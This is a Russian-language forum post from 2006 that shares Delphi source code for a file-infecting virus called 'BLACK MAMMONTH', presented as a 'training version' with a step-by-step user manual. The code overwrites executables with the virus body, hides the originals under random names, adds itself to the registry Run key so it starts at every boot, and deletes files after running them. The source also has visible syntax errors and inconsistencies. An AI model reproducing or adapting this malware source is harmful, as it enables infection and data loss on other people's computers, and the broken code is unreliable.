Показать сообщение отдельно

пример вируса на делфи
  #12  
Старый 03.05.2006, 12:33
Tikson
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме:
1387660

Репутация: 74
По умолчанию пример вируса на делфи

пример вируса на делфи


Код:
{
BLACK MAMMONTH VIRUS,
ОБУЧАЮЩАЯ ВЕРСИЯ.
MADE IN USSR,
Dr.Klouniz

КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:\inf
2.Компилируем вирус (Project--> Build)
3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}

{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию

program VirDebug;
uses sysutils, //Заголовочные файлы
  windows,
  registry, //Работа с системным реестром
  classes,
  inifiles; //Работа с INI-файлами
const
  VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
  //размер с указанным здесь, при необходимости измените и перекомпилируйте
var
  zertva, virus: TFileStream; //Мы и жертва
  //буфера для чтения записи довеска и вируса
  vir, dovesok: array[1..VirLen] of Char;
  result: integer; //результат FindFirst'а
  client, sr: TSearchRec;
  //Массив имени файла
  Name: array[1..8] of string;
  //Массив расширения файла
  Ext: array[1..3] of string;
  //Наш INI-каталог; вирус- полноценная прога под WindoZ!
  Info: TINIFILE;
  NewName, pr, par, FromF: string; //Разные строчки
  //Дата как метка зараженности
  Birth: TDateTime;
  kill, slay, winvir, NewProga: file; //файлы
  //Индикатор зараженности (TRUE/FALSE)
  infected: boolean;
  //Текстовый файл-визитка; свидетельствует о том, что это не первый
  //старт виря на данном компьютере
  check: textfile;
  si: Tstartupinfo;
  p: Tprocessinformation;
  reg: TRegistry;
  // Функция- копировалка

function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
  F: TShFileOpStruct;
begin
  F.Wnd := 0;
  F.wFunc := FO_COPY;
  FromFile := FromFile + #0;
  F.pFrom := pchar(FromFile);
  ToDir := ToDir + #0;
  F.pTo := pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result := ShFileOperation(F) = 0;
end;

procedure INFECTFILES; //Процедура-инфектор
begin
  //Находим исполн. файл в каталоге c:\inf\
  result := FindFirst('c:\INF\*.exe', faAnyFile, client);
  while Result = 0 do //Если нашли, то...
  begin
    //Проверка на вшивость
    Infected := false;
    //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
    if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
      '09.08.83 06:00:00' then
      infected := true;
    //Проверено!
    //если мы нашли не сами себя и не зараженный файл, то...
    if (client.name <> sr.name) and (infected = false) and
      (client.name <> 'mammonth.exe') then
      . //Сочиним новое имя для нашей жертвы;
    begin
      Name[1] := inttostr(random(10));
      Name[2] := inttostr(random(10));
      Name[3] := inttostr(random(10));
      Name[4] := inttostr(random(10));
      Name[5] := inttostr(random(10));
      Name[6] := inttostr(random(10));
      Name[7] := inttostr(random(10));
      Name[8] := inttostr(random(10));
      Ext[1] := inttostr(random(10));
      Ext[2] := inttostr(random(10));
      Ext[3] := inttostr(random(10));
      NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
        name[7] +
        name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
      //Свяжемся с нашей жертвой
      AssignFile(Kill, 'c:\INF\' + client.name);
      //Отправим ее в загон для всех таких же, с уникальным именем
      ReName(Kill, 'c:\INF\files\' + NewName);
      //Фиксируем новое имя в нашем каталоге
      Info := TIniFile.create('c:\inf\filelist.ini');
      with info do
      begin
        //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
        WriteString('FILELIST', client.name, NewName);
        free;
      end;
      //А теперь заразим страшным ВИРУСОМ наш файл!
      //Открываем на чтение наш семенной фонд :)
      ||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
      Virus.Read(vir, VirLen);
      //Читаем вирус полностью (константу VirLen помнишь?)
    //Если клиент поболее нас, но не более чем вдвое,
      if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
        //то сравняем размеры
      begin
        Virus.Position := 1; //Рамка считывания- сначала
        Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
      end;
      //перепишем жертву по- нашему
      zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
      zertva.Write(vir, virlen); //Запишем себя в жертву
      if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
        zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
      Birth := StrToDateTime('09.08.83 06:00:00');
      //поставим жертве индикатор зараженности
      FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
      Zertva.FREE; //Отпускаем жертву!
      Virus.FREE;
    end;
    Result := FindNEXT(Client); //Ищем следуюущий екзешник
  end;
end;

procedure REGISTRATION;
begin
  //первый раз, в первый класс!
  MkDir('c:\inf\files'); //Создадим загон для жертв
  AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
  ReWrite(check);
  WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
  CloseFile(check); //Сделано!
  par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
  WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
  AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
  ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
  Reg := TRegistry.Create;
  //И пусть этот маммонт запускается каждый раз!
  FileSetAttr('c:\inf\mammonth.exe', faHidden);
  with Reg do
  begin
    if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
    begin
      WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
      CloseKey;
    end;
  end;
  //Все. Мы в реестре.
  //Халтим вирус с правдоподобным сообщением-
  //сюда можно вписать процедуру вызова StackOverflow
end;
//Процедура исполнения оригинальной проги

procedure EXECPROGRAM
begin
  Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
  FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
  //Вытащим из загона нужный файл
  WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
  AssignFile(NewProga, 'c:\inf\' + FromF);
  ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
  PR := 'c:\inf\' + '_' + Sr.Name;
  Info.Free;
  //Создали, теперь заКапустим его!!!
  FillChar(Si, SizeOf(Si), 0);
  with Si do
  begin
    cb := SizeOf(Si);
    dwFlags := startf_UseShowWindow;
    wShowWindow := 4;
  end;
  //Application.Minimize;
  Pr := Pr + #0;
  Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
    nil, si, p);
  Waitforsingleobject(p.hProcess, infinite);
  //Application.Restore;
  //Все, отпахала юзерская прога- потрем ее на хрен!
  AssignFile(slay, pr);
  Erase(slay);
end.

{
КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}

begin
  //узнаем имя файла, откуда стартовали
  FindFirst(ParamStr(0), faAnyFile, sr);
  //А вдруг первый раз на этом компе???
  AssignFile(check, 'c:\inf\present.dat');
  Reset(check);
  if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
  begin
    REGISTRATION;
    INFECTFILES;
    HaLt;
  end;
  if sr.name = 'mammonth.exe' then
  begin
    //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
    //INFECTFILES;
    HALT;
  end;
  INFECTFILES;
  EXECPROGRAM;
  {++++END OF THE WORLD NEAR++++}
end.
 
Ответить с цитированием